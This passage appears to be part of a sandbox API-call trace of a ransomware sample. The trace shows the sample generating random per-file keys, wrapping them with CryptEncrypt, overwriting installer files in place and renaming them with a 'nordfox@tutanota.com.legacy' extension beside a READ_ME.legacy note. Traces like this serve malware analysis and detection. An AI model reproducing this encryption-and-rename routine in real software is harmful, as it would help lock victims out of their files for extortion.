pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0099.826] WriteFile (in: hFile=0x498, lpBuffer=0x584880*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584880*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0099.826] WriteFile (in: hFile=0x498, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0099.827] CloseHandle (hObject=0x498) returned 1 [0099.829] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584880 | out: hHeap=0x520000) returned 1 [0099.829] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0099.829] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1032\\SetupResources.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0099.831] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0099.831] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5566a8 | out: hHeap=0x520000) returned 1 [0099.831] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0099.831] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b20 [0099.831] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584460 [0099.831] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0099.831] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584460 | out: pbBuffer=0x584460) returned 1 [0099.831] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0099.831] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1032\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0099.832] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0099.832] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0099.832] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0099.832] CreateFileW (lpFileName="\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x498 [0099.832] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=86284) returned 1 [0099.832] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1510c) returned 0x5a0f80 [0099.832] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1510c) returned 0x5b6098 [0099.833] ReadFile (in: hFile=0x498, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0x1510c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0x1510c, lpOverlapped=0x0) returned 1 [0099.848] SetFilePointer (in: hFile=0x498, lDistanceToMove=-86284, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0099.848] WriteFile (in: hFile=0x498, lpBuffer=0x5b6098*, nNumberOfBytesToWrite=0x1510c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5b6098*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1510c, lpOverlapped=0x0) returned 1 [0099.849] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0099.850] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5b6098 | out: hHeap=0x520000) returned 1 [0099.852] SetFilePointer (in: hFile=0x498, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1510c [0099.852] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0099.852] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0099.853] WriteFile (in: hFile=0x498, lpBuffer=0x584460*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584460*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0099.853] WriteFile (in: hFile=0x498, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0099.853] CloseHandle (hObject=0x498) returned 1 [0099.870] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584460 | out: hHeap=0x520000) returned 1 [0099.870] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0099.870] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1032\\LocalizedData.xml.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0099.872] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0099.872] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b20 | out: hHeap=0x520000) returned 1 [0099.872] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556c58 | out: hHeap=0x520000) returned 1 [0099.872] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d0e0 [0099.872] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584a90 [0099.872] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0099.872] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584a90 | out: pbBuffer=0x584a90) returned 1 [0099.872] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0099.872] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1032\\eula.rtf", dwFileAttributes=0x80) returned 1 [0099.873] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d1e8 [0099.873] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x56c808 [0099.873] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0099.873] CreateFileW (lpFileName="\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x498 [0099.874] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8876) returned 1 [0099.874] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x22ac) returned 0x5a0f80 [0099.874] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x22ac) returned 0x5a3238 [0099.874] ReadFile (in: hFile=0x498, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0x22ac, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0x22ac, lpOverlapped=0x0) returned 1 [0099.892] SetFilePointer (in: hFile=0x498, lDistanceToMove=-8876, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0099.892] WriteFile (in: hFile=0x498, lpBuffer=0x5a3238*, nNumberOfBytesToWrite=0x22ac, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a3238*, lpNumberOfBytesWritten=0x2e1f9bc*=0x22ac, lpOverlapped=0x0) returned 1 [0099.893] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0099.893] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a3238 | out: hHeap=0x520000) returned 1 [0099.893] SetFilePointer (in: hFile=0x498, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x22ac [0099.893] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0099.893] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0099.893] WriteFile (in: hFile=0x498, lpBuffer=0x584a90*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584a90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0099.893] WriteFile (in: hFile=0x498, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0099.893] CloseHandle (hObject=0x498) returned 1 [0099.901] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584a90 | out: hHeap=0x520000) returned 1 [0099.901] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0099.901] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1032\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0099.902] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0099.902] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d0e0 | out: hHeap=0x520000) returned 1 [0099.902] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0099.902] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0099.903] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0099.903] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0099.903] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c98 | out: hHeap=0x520000) returned 1 [0099.903] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8c7ef69, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0c68 [0099.903] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0099.903] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0099.903] GetLastError () returned 0x0 [0099.903] SetLastError (dwErrCode=0x0) [0099.903] GetLastError () returned 0x0 [0099.903] SetLastError (dwErrCode=0x0) [0099.903] GetLastError () returned 0x0 [0099.903] SetLastError (dwErrCode=0x0) [0099.903] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566f58 [0099.903] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d870 [0099.903] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0099.903] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0099.903] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a07a8 [0099.903] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a07a8 | out: hHeap=0x520000) returned 1 [0099.903] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201b0 [0099.903] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201b0 | out: hHeap=0x520000) returned 1 [0099.904] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0099.904] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566f58 | out: hHeap=0x520000) returned 1 [0099.904] FindNextFileW (in: hFindFile=0x5a0c68, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8c7ef69, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0099.904] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0099.904] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0099.904] GetLastError () returned 0x0 [0099.904] SetLastError (dwErrCode=0x0) [0099.904] GetLastError () returned 0x0 [0099.904] SetLastError (dwErrCode=0x0) [0099.904] GetLastError () returned 0x0 [0099.904] SetLastError (dwErrCode=0x0) [0099.904] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c10 [0099.904] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d450 [0099.904] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0099.904] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0099.904] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0d68 [0099.904] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0d68 | out: hHeap=0x520000) returned 1 [0099.904] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201e0 [0099.904] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201e0 | out: hHeap=0x520000) returned 1 [0099.904] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0099.904] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c10 | out: hHeap=0x520000) returned 1 [0099.904] FindNextFileW (in: hFindFile=0x5a0c68, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xd723cc00, ftLastWriteTime.dwHighDateTime=0x1cabb47, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0099.904] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0099.905] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0099.905] GetLastError () returned 0x0 [0099.905] SetLastError (dwErrCode=0x0) [0099.905] GetLastError () returned 0x0 [0099.905] SetLastError (dwErrCode=0x0) [0099.905] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0099.905] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0099.905] GetLastError () returned 0x0 [0099.905] SetLastError (dwErrCode=0x0) [0099.905] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0099.905] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0099.905] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0099.905] FindNextFileW (in: hFindFile=0x5a0c68, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0099.905] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0099.905] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0099.905] GetLastError () returned 0x0 [0099.908] SetLastError (dwErrCode=0x0) [0099.908] GetLastError () returned 0x0 [0099.908] SetLastError (dwErrCode=0x0) [0099.908] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0099.908] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0099.908] GetLastError () returned 0x0 [0099.908] SetLastError (dwErrCode=0x0) [0099.908] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567038 [0099.909] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567038 | out: hHeap=0x520000) returned 1 [0099.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556c58 [0099.909] FindNextFileW (in: hFindFile=0x5a0c68, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8c7ef69, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb8c7ef69, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8c7ef69, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0099.909] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0099.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0099.909] GetLastError () returned 0x0 [0099.909] SetLastError (dwErrCode=0x0) [0099.909] GetLastError () returned 0x0 [0099.909] SetLastError (dwErrCode=0x0) [0099.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0099.909] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0099.909] GetLastError () returned 0x0 [0099.909] SetLastError (dwErrCode=0x0) [0099.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0099.909] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0099.909] FindNextFileW (in: hFindFile=0x5a0c68, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0099.909] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0099.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0099.909] GetLastError () returned 0x0 [0099.909] SetLastError (dwErrCode=0x0) [0099.909] GetLastError () returned 0x0 [0099.909] SetLastError (dwErrCode=0x0) [0099.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0099.909] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0099.909] GetLastError () returned 0x0 [0099.910] SetLastError (dwErrCode=0x0) [0099.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c10 [0099.910] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c10 | out: hHeap=0x520000) returned 1 [0099.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b88 [0099.910] FindNextFileW (in: hFindFile=0x5a0c68, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0099.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0099.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584250 [0099.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0f0 [0099.910] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584250 | out: pbBuffer=0x584250) returned 1 [0099.910] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0f0 | out: pbBuffer=0x54d0f0) returned 1 [0099.910] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1033\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0099.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556918 [0099.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0099.911] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556918 | out: hHeap=0x520000) returned 1 [0099.911] CreateFileW (lpFileName="\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x49c [0099.911] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=17240) returned 1 [0099.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4358) returned 0x5a0f80 [0099.911] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4358) returned 0x5a52e0 [0099.911] ReadFile (in: hFile=0x49c, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0x4358, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0x4358, lpOverlapped=0x0) returned 1 [0099.920] SetFilePointer (in: hFile=0x49c, lDistanceToMove=-17240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0099.920] WriteFile (in: hFile=0x49c, lpBuffer=0x5a52e0*, nNumberOfBytesToWrite=0x4358, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a52e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4358, lpOverlapped=0x0) returned 1 [0099.920] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0099.921] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a52e0 | out: hHeap=0x520000) returned 1 [0099.921] SetFilePointer (in: hFile=0x49c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4358 [0099.921] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0099.921] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584250*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584250*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0099.921] WriteFile (in: hFile=0x49c, lpBuffer=0x584250*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584250*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0099.921] WriteFile (in: hFile=0x49c, lpBuffer=0x54d0f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0099.921] CloseHandle (hObject=0x49c) returned 1 [0099.924] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584250 | out: hHeap=0x520000) returned 1 [0099.924] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0f0 | out: hHeap=0x520000) returned 1 [0099.924] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1033\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1033\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1033\\SetupResources.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: 